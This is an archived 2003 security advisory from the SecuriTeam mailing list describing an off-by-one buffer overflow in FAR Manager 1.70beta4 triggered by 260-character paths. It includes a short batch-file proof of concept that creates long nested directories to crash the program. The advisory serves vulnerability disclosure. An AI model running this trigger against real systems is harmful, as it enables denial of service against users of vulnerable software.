[NT] FAR Utility Buffer Overflow
From: support@securiteam.com
Date: 02/15/03
- Previous message: support@securiteam.com: "[NEWS] CheetaChat Stores Passwords in the Clear"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: 15 Feb 2003 21:43:52 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
Beyond Security would like to welcome Tiscali World Online
to our service provider team.
For more info on their service offering IP-Secure,
please visit http://www.worldonline.co.za/services/work_ip.asp
- - - - - - - - -
FAR Utility Buffer Overflow
------------------------------------------------------------------------
SUMMARY
<http://www.rarlab.com/far_manager.htm> FAR is a text mode (console)
shell for Windows 9x/NT/2000/XP, which is developed to facilitate a large
number of operations with files, folders and archives under Windows
operating system. A buffer overflow vulnerability has been found in the
product allowing the execution of arbitrary code.
DETAILS
Vulnerable systems:
* FAR version 1.70beta4
Immune systems:
* FAR version 1.70beta5
NTFS file system allows creating paths of almost unlimited length.
However, Windows API does not allow path longer than 256 bytes. To prevent
Windows API from checking requested path \\?\ prefix may be used to
filename. This is documented feature of Windows API. Paths longer than 260
characters will cause FAR to crash. Far 1.70beta4 implements the check of
path length and does not allow using paths longer than 160 characters.
However, due to bug in coding it is still possible to exploit FAR by using
path of exactly 260 characters (off-by-one stack pointer overflow).
Exploit:
This .bat file demonstrates vulnerability (it creates a directory with two
subdirectories, first one will cause Far 1.70beta1 to crash, and second
one will cause Far 1.70beta4 to crash.
@echo off
SET A=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A
SET B=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
mkdir \\?\c:\%A%
mkdir \\?\c:\%A%\%A%
mkdir \\?\c:\%A%\%B%\
Vendor response:
Will be patched in 1.70beta5.
ADDITIONAL INFORMATION
The information has been provided by <mailto:3APA3A@SECURITY.NNOV.RU>
3APA3A.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Next message: support@securiteam.com: "[NT] Windows NT 4.0/2000 cmd.exe Long Path Buffer Overflow/DoS"
- Previous message: support@securiteam.com: "[NEWS] CheetaChat Stores Passwords in the Clear"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|